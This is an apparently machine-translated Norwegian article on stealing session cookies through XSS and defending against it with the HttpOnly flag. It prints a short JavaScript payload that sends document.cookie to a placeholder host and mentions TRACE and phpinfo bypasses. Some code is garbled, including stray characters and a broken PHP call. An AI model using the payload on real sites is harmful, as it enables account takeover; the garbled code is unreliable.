Med fremveksten av www-tjenester har stadig flere applikasjoner gått over til B/S-strukturer, slik at en rekke webtjenester kan nås med bare én nettleser, men dette fører også i økende grad til stadig flere websikkerhetsproblemer. www-tjenesten er avhengig av Http-protokollen, Http er en tilstandsløs protokoll, så for å overføre informasjon mellom økter er det uunngåelig å bruke informasjonskapsler eller sesjoner og annen teknologi for å markere tilstanden til besøkende, og enten det er en informasjonskapsel eller en sesjon, implementeres det vanligvis ved bruk av informasjonskapsler (sesjonen er faktisk merket med et token i nettleserens informasjonskapsel, Serveren får tak i dette tokenet og sjekker legitimiteten og binder den tilsvarende tilstanden lagret på serveren til nettleseren), slik at den uunngåelig fokuserer på informasjonskapselen trygt, så lenge denne informasjonskapselen er innhentet, kan identiteten til andre innhentes, noe som er fantastisk for inntrengere, spesielt når den mottakte informasjonskapselen tilhører en høyt privilegert person som en administrator, er skaden enda større. Blant ulike websikkerhetsproblemer er XSS-sårbarheten spesielt farlig.
For applikasjoner, når det er en XSS-sårbarhet, betyr det at andre kan kjøre vilkårlige JS-skript i nettleseren din, og hvis applikasjonen er åpen kildekode eller funksjonene er offentlige, kan andre bruke Ajax for å bruke disse funksjonene, men prosessen er ofte tungvint, spesielt hvis du ønsker å få tak i andres identitet direkte for uformell surfing. For ikke-åpen kildekode-applikasjoner, som webbakgrunnen til noen store nettsteder (en viktig egenskap ved web2.0 er et stort antall interaksjoner, må brukere ofte samhandle med administratorene i bakgrunnen, som feilrapporter, informasjonslevering osv.), selv om det kan forekomme sårbarheter for skripting på tvers av nettsteder på grunn av interaksjon, men på grunn av manglende forståelse av bakgrunnen er det umulig å konstruere perfekt ajax-kode å bruke, selv om du kan bruke js for å hente bakgrunnskoden og returnere den til analyse, men prosessen er også tungvint og ikke skjult. På dette tidspunktet er det svært effektivt å bruke xss-sårbarheten til å hente informasjonskapsler eller kapre sesjoner, spesifikt analysere autentiseringen av applikasjonen, og deretter bruke visse teknikker, og til og med permanent skaffe identiteten til den andre parten selv om den andre parten avslutter programmet.
Så hvordan får man cookie- eller session-hijacking? I dokumentobjektet i nettleseren lagres informasjonskapselinformasjonen, og informasjonskapselen kan hentes ved å bruke js, så lenge du får denne informasjonskapslen, kan du ha en annens identitet. En typisk XSS-angrepsuttalelse er som følger:
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Noen applikasjoner kan ta i bruk nettleserbindingsteknikker for å løse dette problemet, som å binde informasjonskapsler til nettleserens brukeragent, og anse informasjonskapselen som ugyldig når den oppdages. Denne metoden har vist seg å være ineffektiv, fordi når inntrengeren stjeler kjeksen, må han ha fått tak i brukeragenten samtidig. Det finnes også en annen streng kode som binder informasjonskapsler til Remote-addr (faktisk er den bundet til IP, men noen programmer har problemer med metoden for å skaffe IP, noe som også fører til spar), men dette gir en veldig dårlig brukeropplevelse, og det er vanlig å bytte IP, for eksempel er jobb og hjem to IP-adresser, så denne metoden blir ofte ikke tatt i bruk. Derfor er informasjonskapselbaserte angrep nå svært populære, og det er enkelt å få administratorstatus for applikasjonen på noen web 2.0-nettsteder.
Hvordan holder vi våre sensitive informasjonskapsler trygge? Gjennom analysen ovenfor hentes generelle informasjonskapsler fra dokumentobjekter, og vi trenger bare å gjøre sensitive informasjonskapsler usynlige i nettleserdokumentet. Heldigvis aksepterer nettlesere nå vanligvis en parameter kalt HttpOnly når de setter informasjonskapsler, akkurat som andre parametere som domene; når denne HttpOnly er satt, vil du ikke se informasjonskapselen i nettleserens dokumentobjekt, og nettleseren vil ikke bli påvirket på noen måte under surfing, fordi informasjonskapselen sendes i nettleserens header (inkludert ajax). Applikasjoner bruker vanligvis ikke disse sensitive informasjonskapslene i js, vi bruker HttpOnly for noen sensitive informasjonskapsler, og vi setter ikke noen informasjonskapsler som må opereres med js i applikasjonen, noe som sikrer sikkerheten til informasjonskapselinformasjonen og applikasjonen. For mer informasjon om HttpOnly, se http://msdn2.microsoft.com/en-us/library/ms533046.aspx.
Overskriften for å sette informasjonskapsler i nettleseren din er som følger:
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
Tar vi php som eksempel, har støtte for HttpOnly blitt lagt til Setcookie-funksjonen i php 5.2, for eksempel:
setcookie("abc","test",NULL,NULL,NULL,NULL,NULL,NULL,SANN»);
Du kan sette abc-cookien til Kun Http, og dokumentet vil ikke være synlig for denne cookien. Siden setcookie-funksjonen i praksis er en header, kan du også bruke headeren til å sette HttpOnly. Bruk deretter document.cookie for å se at denne informasjonskapselen ikke lenger er tilgjengelig. Vi bruker denne metoden for å beskytte Sessionid, for eksempel noen autentiseringscookies for autentisering, slik at vi ikke trenger å bekymre oss for at identiteten skal bli hentet, noe som er av stor betydning for enkelte bakgrunnsprogrammer og webmail for å forbedre sikkerheten. Når vi bruker angrepsmetoden ovenfor igjen, kan vi se at vi ikke lenger kan få tak i sensitive informasjonskapsler som vi har satt som Kun Http.
Det kan imidlertid også sees at HttpOnly ikke er allmektig, for det første kan det ikke løse problemet med xss, det kan fortsatt ikke motstå angrep fra noen tålmodige hackere, og det kan heller ikke hindre inntrengere i å gjøre ajax-innlegg, og til og med noen xss-baserte proxyer har dukket opp, men det har vært mulig å øke terskelen for angrep, i det minste blir ikke xss-angrep fullført av alle script kid, og andre angrepsmetoder skyldes noen miljømessige og tekniske begrensninger. Det er ikke like vanlig som å stjele kjeks.
HttpOnly kan også utnytte noen sårbarheter eller konfigurere Bypass, men hovedproblemet er at så lenge du får cookie-headeren sendt fra nettleseren. For eksempel kan det forrige Http Trace-angrepet returnere informasjonskapselen i headeren din, og dette angrepet kan fullføres ved å bruke ajax eller flash, som også er oppdatert i ajax og flash. Et annet bemerkelsesverdig eksempel på mulig omgåelse i konfigurasjon eller applikasjon er phpinfo, som du vet, vil phpinfo vise http-headeren sendt av nettleseren, inkludert autentiseringsinformasjonen vi beskytter, og denne siden finnes ofte på ulike nettsteder, så lenge du bruker ajax for å hente phpinfo-siden, fjerner du delen som tilsvarer header-headeren for å hente cookien. Feil i noen applikasjoner kan også føre til header-lekkasje, som kan angripes like mye som en side beskyttet av grunnleggende verifisering.
HttpOnly støttes bedre i IE 6 og nyere, og brukes mye i applikasjoner som Hotmail, og har oppnådd relativt gode sikkerhetsresultater.
|
Publisert på 03.06.2015 20:57:48
|
|
|
